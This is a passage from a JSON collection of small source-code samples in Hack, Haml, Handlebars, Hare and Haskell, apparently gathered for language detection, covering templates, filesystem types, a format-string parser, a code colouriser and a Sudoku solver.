    "content": "<?hh // strict\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nrequire_once $_SERVER['DOCUMENT_ROOT'].'/vendor/hhvm/xhp/src/init.php';\n\nfinal class :phpfile extends :x:primitive {\n  category %flow;\n\n  attribute string filename;\n\n  /**\n   * Ok, I'll admit this is kind of gross. I don't really want to implement\n   * syntax highlighting, so I'm relying on the built-in PHP support. XHP\n   * makes html strings sort of difficult to use (which is good cause they're\n   * dangerous). Anyway, this is one way around it :)\n   */\n  protected function stringify(): string {\n    return\n      '<div class=\"code\">'.\n      (string)highlight_file($this->getAttribute('filename'), /*ret*/ true).\n      '</div>';\n  }\n}\n"
  },
  {
    "path": "samples/Hack/startup.hh",
    "content": "<?hh // strict\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nfunction startup(): void {\n  setup_errors();\n}\n"
  },
  {
    "path": "samples/Haml/buttons.html.haml.deface",
    "content": "/\n  replace '.actions'\n\n.pull-right\n  .btn-group\n    = link_to page.url, target: \"_blank\", title: t('.view_live_html'), class: \"tip btn btn-xs btn-default\" do\n      %i.icon-picture.row-black\n      \n    = link_to refinery.edit_admin_page_path(page.nested_url,\n        switch_locale: (page.translations.first.locale unless page.translated_to_default_locale?)),\n        title: t('edit', :scope => 'refinery.admin.pages'),\n        class: \"tip btn btn-xs btn-default\" do\n      %i.icon-edit.row-blue\n      \n    \n    - if page.deletable?\n      = link_to refinery.admin_page_path(page.nested_url), \n          methode: :delete,\n          title: t('delete', :scope => 'refinery.admin.pages'), \n          class: \"tip cancel confirm-delete btn btn-xs btn-default\", \n          data: { confirm: t('message', scope: 'refinery.admin.delete', title: page_title_with_translations(page)) } do\n        %i.icon-trash.row-red\n    - else\n      %button.btn.btn-xs.btn-default.disabled\n        %i.icon-trash\n      \n  .btn-group\n    = link_to refinery.new_admin_page_path(:parent_id => page.id), title: t('new', :scope => 'refinery.admin.pages'), class: \"tip btn btn-xs btn-default\" do\n      %i.icon-plus.row-green\n"
  },
  {
    "path": "samples/Haml/hello.haml",
    "content": "%p\n  Hello,\n  World!\n"
  },
  {
    "path": "samples/Handlebars/basic.handlebars",
    "content": "<div class=\"entry\">\n  <h1>{{title}}</h1>\n  <div class=\"body\">\n    {{body}}\n  </div>\n</div>\n"
  },
  {
    "path": "samples/Handlebars/each.hbs",
    "content": "<div class=\"post\">\n  <h1>By {{fullName author}}</h1>\n  <div class=\"body\">{{body}}</div>\n\n  <h1>Comments</h1>\n\n  {{#each comments}}\n  <h2>By {{fullName author}}</h2>\n  <div class=\"body\">{{body}}</div>\n  {{/each}}\n</div>\n"
  },
  {
    "path": "samples/Hare/contains.ha",
    "content": "// SPDX-License-Identifier: MPL-2.0\n// (c) Hare authors <https://harelang.org>\n\n// Returns true if a byte slice contains a byte or a sequence of bytes.\nexport fn contains(haystack: []u8, needles: (u8 | []u8)...) bool = {\n\tfor (let i = 0z; i < len(needles); i += 1) {\n\t\tconst matched = match (needles[i]) {\n\t\tcase let b: u8 =>\n\t\t\tyield index_byte(haystack, b) is size;\n\t\tcase let b: []u8 =>\n\t\t\tyield index_slice(haystack, b) is size;\n\t\t};\n\t\tif (matched) {\n\t\t\treturn true;\n\t\t};\n\t};\n\treturn false;\n};\n\n// Returns true if \"in\" has the given prefix, false otherwise\nexport fn hasprefix(in: []u8, prefix: []u8) bool = {\n\treturn len(in) >= len(prefix) && equal(in[..len(prefix)], prefix);\n};\n\n@test fn hasprefix() void = {\n\tassert(hasprefix([], []));\n\tassert(hasprefix([0], []));\n\tassert(!hasprefix([], [0]));\n\tassert(hasprefix([1, 2, 3], [1, 2]));\n\tassert(!hasprefix([1, 2, 3], [1, 1]));\n\tassert(!hasprefix([1, 2, 3], [1, 2, 3, 4]));\n};\n\n// Returns true if \"in\" has the given suffix, false otherwise\nexport fn hassuffix(in: []u8, suffix: []u8) bool = {\n\treturn len(in) >= len(suffix)\n\t\t&& equal(in[len(in) - len(suffix)..], suffix);\n};\n\n@test fn hassuffix() void = {\n\tassert(hassuffix([], []));\n\tassert(hassuffix([0], []));\n\tassert(!hassuffix([], [0]));\n\tassert(hassuffix([1, 2, 3], [2, 3]));\n\tassert(!hassuffix([1, 2, 3], [2, 2]));\n\tassert(hassuffix([1, 2, 3, 4], [2, 3, 4]));\n};\n"
  },
  {
    "path": "samples/Hare/iter.ha",
    "content": "// SPDX-License-Identifier: MPL-2.0\n// (c) Hare authors <https://harelang.org>\n\nuse ascii;\nuse strings;\nuse strconv;\nuse types;\n\n// Tagged union of the [[formattable]] types and [[mods]]. Used for\n// functions which accept format strings.\nexport type field = (...formattable | *mods);\n\n// Tagged union of all types which are formattable.\nexport type formattable = (...types::numeric | uintptr | str | rune | bool |\n\tnullable *opaque | void);\n\n// Negative modifier. Specifies for numerical arguments when to prepend a plus\n// or minus sign or a blank space.\nexport type neg = enum {\n\tNONE,\n\tSPACE,\n\tPLUS,\n};\n\n// Alignment modifier. Specifies how to align an argument within a given width.\nexport type alignment = enum {\n\tRIGHT,\n\tCENTER,\n\tLEFT,\n};\n\n// Specifies how to format an argument.\nexport type mods = struct {\n\talignment: alignment,\n\tpad: rune,\n\tneg: neg,\n\twidth: size,\n\tprec: size,\n\tbase: strconv::base,\n\tffmt: strconv::ffmt,\n\tfflags: strconv::fflags,\n};\n\ntype iterator = struct {\n\titer: strings::iterator,\n\targs: []field,\n\tidx: size,\n\tcheckunused: bool,\n};\n\nfn iter(fmt: str, args: []field) iterator = iterator {\n\titer = strings::iter(fmt),\n\targs = args,\n\tidx = 0,\n\tcheckunused = true,\n};\n\nfn next(it: *iterator) (str | (formattable, mods) | done) = {\n\tlet r = match (strings::next(&it.iter)) {\n\tcase done =>\n\t\treturn done;\n\tcase let r: rune =>\n\t\tyield r;\n\t};\n\tswitch (r) {\n\tcase '{' => void; // handled below\n\tcase '}' =>\n\t\tmatch (strings::next(&it.iter)) {\n\t\tcase done =>\n\t\t\tabort(\"Invalid format string (hanging '}')\");\n\t\tcase let r: rune =>\n\t\t\tassert(r == '}', \"Invalid format string (hanging '}')\");\n\t\t};\n\t\treturn \"}\";\n\tcase =>\n\t\tstrings::prev(&it.iter);\n\t\tlet start = it.iter;\n\t\tfor (let r => strings::next(&it.iter)) {\n\t\t\tif (r == '{' || r == '}') {\n\t\t\t\tstrings::prev(&it.iter);\n\t\t\t\tbreak;\n\t\t\t};\n\t\t};\n\t\treturn strings::slice(&start, &it.iter);\n\t};\n\n\tr = getrune(it);\n\tif (r == '{') {\n\t\treturn \"{\";\n\t};\n\n\tlet idx = if (ascii::isdigit(r)) {\n\t\tstrings::prev(&it.iter);\n\t\tit.checkunused = false;\n\t\tdefer r = getrune(it);\n\t\tyield scan_sz(it);\n\t} else {\n\t\tdefer it.idx += 1;\n\t\tyield it.idx;\n\t};\n\tassert(idx < len(it.args), \"Not enough parameters given\");\n\tlet arg = it.args[idx] as formattable;\n\tlet mod = mods { ... };\n\n\tswitch (r) {\n\tcase ':' =>\n\t\tscan_modifiers(it, &mod);\n\tcase '%' =>\n\t\tr = getrune(it);\n\t\tlet idx = if (ascii::isdigit(r)) {\n\t\t\tstrings::prev(&it.iter);\n\t\t\tit.checkunused = false;\n\t\t\tdefer r = getrune(it);\n\t\t\tyield scan_sz(it);\n\t\t} else {\n\t\t\tdefer it.idx += 1;\n\t\t\tyield it.idx;\n\t\t};\n\t\tassert(idx < len(it.args), \"Not enough parameters given\");\n\t\tmod = *(it.args[idx] as *mods);\n\t\tassert(r == '}', \"Invalid format string (didn't find '}' after modifier index)\");\n\tcase '}' => void;\n\tcase => abort(\"Invalid format string\");\n\t};\n\n\treturn (arg, mod);\n};\n\nfn scan_modifiers(it: *iterator, mod: *mods) void = {\n\tmod.pad = ' ';\n\tfor (true) switch (getrune(it)) {\n\t// alignment\n\tcase '-' => mod.alignment = alignment::LEFT;\n\tcase '=' => mod.alignment = alignment::CENTER;\n\t// padding\n\tcase '_' => mod.pad = getrune(it);\n\t// negation\n\tcase ' ' => mod.neg = neg::SPACE;\n\tcase '+' => mod.neg = neg::PLUS;\n\t// base\n\tcase 'x' => mod.base = strconv::base::HEX_LOWER;\n\tcase 'X' => mod.base = strconv::base::HEX_UPPER;\n\tcase 'o' => mod.base = strconv::base::OCT;\n\tcase 'b' => mod.base = strconv::base::BIN;\n\t// ffmt\n\tcase 'e' => mod.ffmt = strconv::ffmt::E;\n\tcase 'f' => mod.ffmt = strconv::ffmt::F;\n\tcase 'g' => mod.ffmt = strconv::ffmt::G;\n\t// fflags\n\tcase 'F' =>\n\t\tswitch (getrune(it)) {\n\t\tcase 's' => mod.fflags |= strconv::fflags::SHOW_POS;\n\t\tcase '.' => mod.fflags |= strconv::fflags::SHOW_POINT;\n\t\tcase 'U' => mod.fflags |= strconv::fflags::UPPERCASE;\n\t\tcase 'E' => mod.fflags |= strconv::fflags::UPPER_EXP;\n\t\tcase 'S' => mod.fflags |= strconv::fflags::SHOW_POS_EXP;\n\t\tcase '2' => mod.fflags |= strconv::fflags::SHOW_TWO_EXP_DIGITS;\n\t\tcase => abort(\"Invalid float flag\");\n\t\t};\n\t// precision\n\tcase '.' => mod.prec = scan_sz(it);\n\t// width\n\tcase '1', '2', '3', '4', '5', '6', '7', '8', '9' =>\n\t\tstrings::prev(it);\n\t\tmod.width = scan_sz(it);\n\tcase =>\n\t\tstrings::prev(it);\n\t\tbreak;\n\t};\n\tassert(getrune(it) == '}', \"Invalid format string (unterminated '{')\");\n};\n\nfn scan_sz(it: *iterator) size = {\n\tlet start = it.iter;\n\tassert(ascii::isdigit(getrune(it)));\n\tfor (ascii::isdigit(getrune(it))) void;\n\tstrings::prev(&it.iter);\n\n\tmatch (strconv::stoz(strings::slice(&start, &it.iter))) {\n\tcase strconv::invalid =>\n\t\tabort(\"Invalid format string (invalid integer)\");\n\tcase strconv::overflow =>\n\t\tabort(\"Invalid format string (integer overflow)\");\n\tcase let z: size =>\n\t\treturn z;\n\t};\n};\n\nfn getrune(it: *iterator) rune = match (strings::next(&it.iter)) {\ncase done =>\n\tabort(\"Invalid format string (unterminated '{')\");\ncase let r: rune =>\n\treturn r;\n};\n"
  },
  {
    "path": "samples/Hare/types.ha",
    "content": "// SPDX-License-Identifier: MPL-2.0\n// (c) Hare authors <https://harelang.org>\n\nuse encoding::utf8;\nuse errors;\nuse io;\nuse strings;\nuse time;\n\n// An entry of a particular type was sought, but is something else in practice.\n// For example, opening a file with [[iter]].\nexport type wrongtype = !void;\n\n// Returned from [[rename]] if this rename is not possible due to technical\n// constraints, such as if it would cause a file to move between filesystems. In\n// this situation, other operations (such as copy & remove) may succeed if\n// attempted.\nexport type cannotrename = !void;\n\n// All possible fs error types.\nexport type error = !(\n\terrors::noentry |\n\terrors::noaccess |\n\terrors::exists |\n\terrors::busy |\n\terrors::invalid |\n\terrors::unsupported |\n\tutf8::invalid |\n\twrongtype |\n\tcannotrename |\n\tio::error);\n\n// Returns a human-friendly representation of an error.\nexport fn strerror(err: error) const str = match (err) {\ncase wrongtype =>\n\tyield \"Wrong entry type for requested operation\";\ncase cannotrename =>\n\tyield \"Unable to perform rename operation (try move instead)\";\ncase errors::noentry =>\n\tyield \"File or directory not found\";\ncase errors::noaccess =>\n\tyield \"Permission denied\";\ncase errors::exists =>\n\tyield \"File or directory exists\";\ncase errors::invalid =>\n\tyield \"Invalid argument\";\ncase errors::busy =>\n\tyield \"Device is busy\";\ncase errors::unsupported =>\n\tyield \"Operation not supported\";\ncase let err: utf8::invalid =>\n\tyield utf8::strerror(err);\ncase let err: io::error =>\n\tyield io::strerror(err);\n};\n\n// File mode information. These bits do not necessarily reflect the underlying\n// operating system's mode representation, though they were chosen to be\n// consistent with typical Unix file permissions. All implementations shall\n// support at least USER_RW, DIR, and REG.\nexport type mode = enum uint {\n\t// Read, write, and execute permissions for the file owner\n\tUSER_RWX\t= 0o700,\n\t// Read and write permissions for the file owner\n\tUSER_RW\t\t= 0o600,\n\t// Read and execute permissions for the file owner\n\tUSER_RX\t\t= 0o500,\n\t// Read permissions for the file owner\n\tUSER_R\t\t= 0o400,\n\t// Write permissions for the file owner\n\tUSER_W\t\t= 0o200,\n\t// Execute permissions for the file owner\n\tUSER_X\t\t= 0o100,\n\n\t// Read, write, and execute permissions for group members\n\tGROUP_RWX\t= 0o070,\n\t// Read and write permissions for group members\n\tGROUP_RW\t= 0o060,\n\t// Read and execute permissions for group members\n\tGROUP_RX\t= 0o050,\n\t// Read permissions for group members\n\tGROUP_R\t\t= 0o040,\n\t// Write permissions for group members\n\tGROUP_W\t\t= 0o020,\n\t// Execute permissions for group members\n\tGROUP_X\t\t= 0o010,\n\n\t// Read, write, and execute permissions for other users\n\tOTHER_RWX\t= 0o007,\n\t// Read and write permissions for other users\n\tOTHER_RW\t= 0o006,\n\t// Read and execute permissions for other users\n\tOTHER_RX\t= 0o005,\n\t// Read permissions for other users\n\tOTHER_R\t\t= 0o004,\n\t// Write permissions for other users\n\tOTHER_W\t\t= 0o002,\n\t// Execute permissions for other users\n\tOTHER_X\t\t= 0o001,\n\n\t// Entry has the set-uid bit set\n\tSETUID\t= 0o4000,\n\t// Entry has the set-gid bit set\n\tSETGID\t= 0o2000,\n\t// Entry has the sticky bit set\n\tSTICKY\t= 0o1000,\n\n\t// Entry is of an unknown type\n\tUNKNOWN\t= 0,\n\t// Entry is a FIFO (named pipe)\n\tFIFO\t= 0o010000,\n\t// Entry is a directory\n\tDIR\t= 0o040000,\n\t// Entry is a character device\n\tCHR\t= 0o020000,\n\t// Entry is a block device\n\tBLK\t= 0o060000,\n\t// Entry is a regular file\n\tREG\t= 0o100000,\n\t// Entry is a symbolic link\n\tLINK\t= 0o120000,\n\t// Entry is a Unix socket\n\tSOCK\t= 0o140000,\n};\n\n// A mask defining what items are populated in the stat structure.\nexport type stat_mask = enum uint {\n\tUID\t= 1 << 0,\n\tGID\t= 1 << 1,\n\tSIZE\t= 1 << 2,\n\tINODE\t= 1 << 3,\n\tATIME\t= 1 << 4,\n\tMTIME\t= 1 << 5,\n\tCTIME\t= 1 << 6,\n};\n\n// Information about a file or directory. The mask field defines what other\n// fields are set; mode is always set.\nexport type filestat = struct {\n\tmask: stat_mask,\n\tmode: mode,\n\tuid: uint,\n\tgid: uint,\n\tsz: size,\n\tinode: u64,\n\tatime: time::instant,\n\tmtime: time::instant,\n\tctime: time::instant,\n};\n\n// An entry in a directory. This may be borrowed from the filesystem's internal\n// state. If you want to keep this around beyond one call to [[next]], use\n// [[dirent_dup]].\nexport type dirent = struct {\n\t// The name of this entry. Not fully qualified: for example,\n\t// \"foo/bar/baz.txt\" would store \"baz.txt\" here.\n\tname: str,\n\n\t// The type of this entry. The permission bits may be unset.\n\tftype: mode,\n};\n\n// Duplicates a [[dirent]] object. Call [[dirent_finish]] to get rid of it\n// later.\nexport fn dirent_dup(e: *dirent) dirent = {\n\tlet new = *e;\n\tnew.name = strings::dup(e.name);\n\treturn new;\n};\n\n// Frees memory associated with a [[dirent]] object which was duplicated with\n// [[dirent_dup]].\nexport fn dirent_finish(e: *dirent) void = free(e.name);\n\n// Flags to use for opening a file. Not all operating systems support all flags;\n// at a minimum, RDONLY, WRONLY, RDWR, CREATE, and TRUNC will be supported.\n// Note that NOCTTY and CLOEXEC are on by default, and the CTTY/NOCLOEXEC flags\n// respectively disable them.\nexport type flag = enum int {\n\tRDONLY\t\t= 0,\n\tWRONLY\t\t= 1,\n\tRDWR\t\t= 2,\n\tCREATE\t\t= 0o100,\n\tEXCL\t\t= 0o200,\n\tCTTY\t\t= 0o400,\n\tTRUNC\t\t= 0o1000,\n\tAPPEND\t\t= 0o2000,\n\tNONBLOCK\t= 0o4000,\n\tDSYNC\t\t= 0o10000,\n\tSYNC\t\t= 0o4010000,\n\tRSYNC\t\t= 0o4010000,\n\tDIRECTORY\t= 0o200000,\n\tNOFOLLOW\t= 0o400000,\n\tNOATIME\t\t= 0o1000000,\n\tNOCLOEXEC\t= 0o2000000,\n\tPATH\t\t= 0o10000000,\n\tTMPFILE\t\t= 0o20200000,\n};\n\nexport type closefunc = fn(fs: *fs) void;\nexport type removefunc = fn(fs: *fs, path: str) (void | error);\nexport type renamefunc = fn(fs: *fs, oldpath: str, newpath: str) (void | error);\nexport type iterfunc = fn(fs: *fs, path: str) (*iterator | error);\nexport type statfunc = fn(fs: *fs, path: str) (filestat | error);\nexport type fstatfunc = fn(fs: *fs, file: io::file) (filestat | error);\nexport type mkdirfunc = fn(fs: *fs, path: str, mode: mode) (void | error);\nexport type rmdirfunc = fn(fs: *fs, path: str) (void | error);\nexport type chmodfunc = fn(fs: *fs, path: str, mode: mode) (void | error);\nexport type fchmodfunc = fn(fd: io::file, mode: mode) (void | error);\nexport type chownfunc = fn(fs: *fs, path: str, uid: uint, gid: uint) (void | error);\nexport type fchownfunc = fn(fd: io::file, uid: uint, gid: uint) (void | error);\nexport type chtimesfunc = fn(fs: *fs, path: str, atime: (time::instant | void),\n\tmtime: (time::instant | void)) (void | error);\nexport type fchtimesfunc = fn(fd: io::file, atime: (time::instant | void),\n\tmtime: (time::instant | void)) (void | error);\nexport type resolvefunc = fn(fs: *fs, path: str) str;\nexport type readlinkfunc = fn(fs: *fs, path: str) (str | error);\nexport type linkfunc = fn(fs: *fs, old: str, new: str) (void | error);\nexport type symlinkfunc = fn(fs: *fs, target: str, path: str) (void | error);\n\nexport type openfunc = fn(\n\tfs: *fs,\n\tpath: str,\n\tflags: flag,\n) (io::handle | error);\n\nexport type openfilefunc = fn(\n\tfs: *fs,\n\tpath: str,\n\tflags: flag,\n) (io::file | error);\n\nexport type createfunc = fn(\n\tfs: *fs,\n\tpath: str,\n\tmode: mode,\n\tflags: flag,\n) (io::handle | error);\n\nexport type createfilefunc = fn(\n\tfs: *fs,\n\tpath: str,\n\tmode: mode,\n\tflags: flag,\n) (io::file | error);\n\n// An abstract implementation of a filesystem, which provides common filesystem\n// operations such as file creation and deletion, but which may be backed by any\n// underlying storage system. See [[os::cwd]] for access to the host filesystem.\n//\n// To create a custom filesystem implementation, embed this type as the first\n// member of a struct with user-specific data and fill out these fields as\n// appropriate.\nexport type fs = struct {\n\t// Frees resources associated with this filesystem.\n\tclose: nullable *closefunc,\n\n\t// Opens a file.\n\topen: nullable *openfunc,\n\n\t// Opens a file as an [[io::file]].\n\topenfile: nullable *openfilefunc,\n\n\t// Creates a new file.\n\tcreate: nullable *createfunc,\n\n\t// Creates a new file as an [[io::file]].\n\tcreatefile: nullable *createfilefunc,\n\n\t// Removes a file.\n\tremove: nullable *removefunc,\n\n\t// Renames a file.\n\trename: nullable *renamefunc,\n\n\t// Returns an iterator for a path, which yields the contents of a\n\t// directory. Pass empty string to yield from the root.\n\t//\n\t// The iterator must return all entries without error. If an error would\n\t// occur, it should be identified here and returned upfront.\n\titer: nullable *iterfunc,\n\n\t// Obtains information about a file or directory. If the target is a\n\t// symbolic link, information is returned about the link, not its\n\t// target.\n\tstat: nullable *statfunc,\n\n\t// Obtains information about an [[io::file]].\n\tfstat: nullable *fstatfunc,\n\n\t// Returns the path referred to by a symbolic link. The caller will free\n\t// the return value.\n\treadlink: nullable *readlinkfunc,\n\n\t// Creates a directory.\n\tmkdir: nullable *mkdirfunc,\n\n\t// Removes a directory. The target directory must be empty.\n\trmdir: nullable *rmdirfunc,\n\n\t// Changes mode flags on a file or directory.\n\tchmod: nullable *chmodfunc,\n\n\t// Changes mode flags on a [[io::file]].\n\tfchmod: nullable *fchmodfunc,\n\n\t// Changes ownership of a file.\n\tchown: nullable *chownfunc,\n\n\t// Changes ownership of a [[io::file]].\n\tfchown: nullable *fchownfunc,\n\n\t// Changes access and modification time of a file.\n\tchtimes: nullable *chtimesfunc,\n\n\t// Changes access and modification time of an [[io::file]].\n\tfchtimes: nullable *fchtimesfunc,\n\n\t// Resolves a path to its absolute, normalized value. If the fs\n\t// implementation does not provide this, [resolve] presumes that\n\t// relative paths are rooted (i.e. \"foo\" == \"/foo\").\n\tresolve: nullable *resolvefunc,\n\n\t// Creates a new (hard) link.\n\tlink: nullable *linkfunc,\n\n\t// Creates a new symbolic link.\n\tsymlink: nullable *symlinkfunc,\n};\n\n// A function which returns the next directory from an [[iterator]].\nexport type nextfunc = fn(iter: *iterator) (dirent | done | error);\n\n// A function which frees state associated with an [[iterator]].\nexport type finishfunc = fn(iter: *iterator) void;\n\n// A directory iterator. To implement a directory iterator for a filesystem,\n// subtype this struct to store any necessary state and populate the pointers\n// with your implementation.\nexport type iterator = struct {\n\t// Returns the next member of the directory, or done if there are none\n\t// remaining.\n\tnext: *nextfunc,\n\t// Frees resources associated with the iterator.\n\tfinish: nullable *finishfunc,\n};\n"
  },
  {
    "path": "samples/Haskell/Hello.hs",
    "content": "import Data.Char\n\nmain :: IO ()\nmain = do\n\tlet hello = \"hello world\"\n\tputStrLn $ map toUpper hello"
  },
  {
    "path": "samples/Haskell/HsColour.hs",
    "content": "-- | This is a library which colourises Haskell code.\n--   It currently has six output formats:\n--\n-- * ANSI terminal codes\n--\n-- * LaTeX macros\n--\n-- * HTML 3.2 with font tags\n--\n-- * HTML 4.01 with external CSS.\n--\n-- * XHTML 1.0 with internal CSS.\n--\n-- * mIRC chat client colour codes.\n--\nmodule Language.Haskell.HsColour (Output(..), ColourPrefs(..),\n                                  hscolour) where\n\nimport Language.Haskell.HsColour.Colourise  (ColourPrefs(..))\nimport qualified Language.Haskell.HsColour.TTY        as TTY\nimport qualified Language.Haskell.HsColour.HTML       as HTML\nimport qualified Language.Haskell.HsColour.CSS        as CSS\nimport qualified Language.Haskell.HsColour.ACSS       as ACSS \nimport qualified Language.Haskell.HsColour.InlineCSS  as ICSS\nimport qualified Language.Haskell.HsColour.LaTeX      as LaTeX\nimport qualified Language.Haskell.HsColour.MIRC       as MIRC\nimport Data.List(mapAccumL, isPrefixOf)\nimport Data.Maybe\nimport Language.Haskell.HsColour.Output\n--import Debug.Trace\n\n-- | Colourise Haskell source code with the given output format.\nhscolour :: Output      -- ^ Output format.\n         -> ColourPrefs -- ^ Colour preferences (for formats that support them).\n         -> Bool        -- ^ Whether to include anchors.\n         -> Bool        -- ^ Whether output document is partial or complete.\n         -> String\t-- ^ Title for output.\n         -> Bool        -- ^ Whether input document is literate haskell or not\n         -> String      -- ^ Haskell source code.\n         -> String      -- ^ Coloured Haskell source code.\nhscolour output pref anchor partial title False =\n        (if partial then id else top'n'tail output title) .\n        hscolour' output pref anchor\nhscolour output pref anchor partial title True  =\n        (if partial then id else top'n'tail output title) .\n        concatMap chunk . joinL . classify . inlines\n  where\n    chunk (Code c) = hscolour' output pref anchor c\n    chunk (Lit c)  = c\n\n-- | The actual colourising worker, despatched on the chosen output format.\nhscolour' :: Output      -- ^ Output format.\n          -> ColourPrefs -- ^ Colour preferences (for formats that support them)\n          -> Bool        -- ^ Whether to include anchors.\n          -> String      -- ^ Haskell source code.\n          -> String      -- ^ Coloured Haskell source code.\nhscolour' TTY       pref _      = TTY.hscolour     pref\nhscolour' (TTYg tt) pref _      = TTY.hscolourG tt pref\nhscolour' MIRC      pref _      = MIRC.hscolour    pref\nhscolour' LaTeX     pref _      = LaTeX.hscolour   pref\nhscolour' HTML      pref anchor = HTML.hscolour    pref anchor\nhscolour' CSS       _    anchor = CSS.hscolour          anchor\nhscolour' ICSS      pref anchor = ICSS.hscolour    pref anchor\nhscolour' ACSS      _    anchor = ACSS.hscolour         anchor\n\n-- | Choose the right headers\\/footers, depending on the output format.\ntop'n'tail :: Output           -- ^ Output format\n           -> String           -- ^ Title for output\n           -> (String->String) -- ^ Output transformer\ntop'n'tail TTY   _     = id\ntop'n'tail (TTYg _) _  = id\ntop'n'tail MIRC  _     = id\ntop'n'tail LaTeX title = LaTeX.top'n'tail title\ntop'n'tail HTML  title = HTML.top'n'tail title\ntop'n'tail CSS   title = CSS.top'n'tail  title\ntop'n'tail ICSS  title = ICSS.top'n'tail title\ntop'n'tail ACSS  title = CSS.top'n'tail  title\n\n-- | Separating literate files into code\\/comment chunks.\ndata Lit = Code {unL :: String} | Lit {unL :: String} deriving (Show)\n\n-- Re-implementation of 'lines', for better efficiency (but decreased laziness).\n-- Also, importantly, accepts non-standard DOS and Mac line ending characters.\n-- And retains the trailing '\\n' character in each resultant string.\ninlines :: String -> [String]\ninlines s = lines' s id\n  where\n  lines' []             acc = [acc []]\n  lines' ('\\^M':'\\n':s) acc = acc ['\\n'] : lines' s id\t-- DOS\n--lines' ('\\^M':s)      acc = acc ['\\n'] : lines' s id\t-- MacOS\n  lines' ('\\n':s)       acc = acc ['\\n'] : lines' s id\t-- Unix\n  lines' (c:s)          acc = lines' s (acc . (c:))\n\n\n-- | The code for classify is largely stolen from Language.Preprocessor.Unlit.\nclassify ::  [String] -> [Lit]\nclassify []             = []\nclassify (x:xs) | \"\\\\begin{code}\"`isPrefixOf`x\n                        = Lit x: allProg xs\n   where allProg []     = []  -- Should give an error message,\n                              -- but I have no good position information.\n         allProg (x:xs) | \"\\\\end{code}\"`isPrefixOf`x\n                        = Lit x: classify xs\n         allProg (x:xs) = Code x: allProg xs\nclassify (('>':x):xs)   = Code ('>':x) : classify xs\nclassify (x:xs)         = Lit x: classify xs\n\n-- | Join up chunks of code\\/comment that are next to each other.\njoinL :: [Lit] -> [Lit]\njoinL []                  = []\njoinL (Code c:Code c2:xs) = joinL (Code (c++c2):xs)\njoinL (Lit c :Lit c2 :xs) = joinL (Lit  (c++c2):xs)\njoinL (any:xs)            = any: joinL xs\n\n"
  },
  {
    "path": "samples/Haskell/Main.hs",
    "content": "module Main where\n\nimport Sudoku\nimport Data.Maybe\n\n\nsudoku :: Sudoku\nsudoku = [8, 0, 1, 3, 4, 0, 0, 0, 0,\n          4, 3, 0, 8, 0, 0, 1, 0, 7,\n          0, 0, 0, 0, 6, 0, 0, 0, 3,\n          2, 0, 8, 0, 5, 0, 0, 0, 9,\n          0, 0, 9, 0, 0, 0, 7, 0, 0,\n          6, 0, 0, 0, 7, 0, 8, 0, 4,\n          3, 0, 0, 0, 1, 0, 0, 0, 0,\n          1, 0, 5, 0, 0, 6, 0, 4, 2,\n          0, 0, 0, 0, 2, 4, 3, 0, 8]\n\n{-\nsudoku :: Sudoku\nsudoku = [8, 6, 1, 3, 4, 7, 2, 9, 5,\n\t\t  4, 3, 2, 8, 9, 5, 1, 6, 7,\n\t\t  9, 5, 7, 1, 6, 2, 4, 8, 3,\n\t\t  2, 7, 8, 4, 5, 1, 6, 3, 9,\n\t\t  5, 4, 9, 6, 8, 3, 7, 2, 1,\n\t\t  6, 1, 3, 2, 7, 9, 8, 5, 4,\n\t\t  3, 2, 4, 9, 1, 8, 5, 7, 6,\n\t\t  1, 8, 5, 7, 3, 6, 9, 4, 2,\n\t\t  7, 9, 6, 5, 2, 4, 3, 1, 8]\n-}\nmain :: IO ()\nmain = do\n\tputStrLn $ pPrint sudoku ++ \"\\n\\n\"\n\tputStrLn $ pPrint $ fromMaybe [] $ solve sudoku"
  },
  {
    "path": "samples/Haskell/Sudoku.hs",
    "content": "module Sudoku\n(\n  Sudoku,\n  solve,\n  isSolved,\n  pPrint\n) where\n\nimport Data.Maybe\nimport Data.List\nimport Data.List.Split\n\ntype Sudoku = [Int]\n\nsolve :: Sudoku -> Maybe Sudoku\nsolve sudoku\n  | isSolved sudoku = Just sudoku\n  | otherwise = do\n    index <- elemIndex 0 sudoku\n    let sudokus = [nextTest sudoku index i | i <- [1..9],\n                                  checkRow (nextTest sudoku index i) index,\n                                  checkColumn (nextTest sudoku index i) index,\n                                  checkBox (nextTest sudoku index i) index]\n    listToMaybe $ mapMaybe solve sudokus\n  where nextTest sudoku index i = take index sudoku ++ [i] ++ drop (index+1) sudoku\n        checkRow sudoku index = (length $ getRow sudoku index) == (length $ nub $ getRow sudoku index)\n        checkColumn sudoku index = (length $ getColumn sudoku index) == (length $ nub $ getColumn sudoku index)\n        checkBox sudoku index = (length $ getBox sudoku index) == (length $ nub $ getBox sudoku index)\n        getRow sudoku index = filter (/=0) $ (chunksOf 9 sudoku) !! (quot index 9)\n        getColumn sudoku index = filter (/=0) $ (transpose $ chunksOf 9 sudoku) !! (mod index 9)\n        getBox sudoku index = filter (/=0) $ (map concat $ concatMap transpose $ chunksOf 3 $ map (chunksOf 3) $ chunksOf 9 sudoku)\n                                                                                !! (3 * (quot index 27) + (quot (mod index 9) 3))\n\nisSolved :: Sudoku -> Bool\nisSolved sudoku\n  | product sudoku == 0 = False\n  | map (length . nub) sudokuRows /= map length sudokuRows = False\n  | map (length . nub) sudokuColumns /= map length sudokuColumns = False\n  | map (length . nub) sudokuBoxes /= map length sudokuBoxes = False\n  | otherwise = True\n  where sudokuRows = chunksOf 9 sudoku\n        sudokuColumns = transpose sudokuRows\n        sudokuBoxes = map concat $ concatMap transpose $ chunksOf 3 $ map (chunksOf 3) $ chunksOf 9 sudoku\n\npPrint :: Sudoku -> String\npPrint sudoku = intercalate \"\\n\" $ map (intercalate \" \" . map show) $ chunksOf 9 sudoku"
  },
  {
    "path": "samples/Haskell/maze-solving.hs",
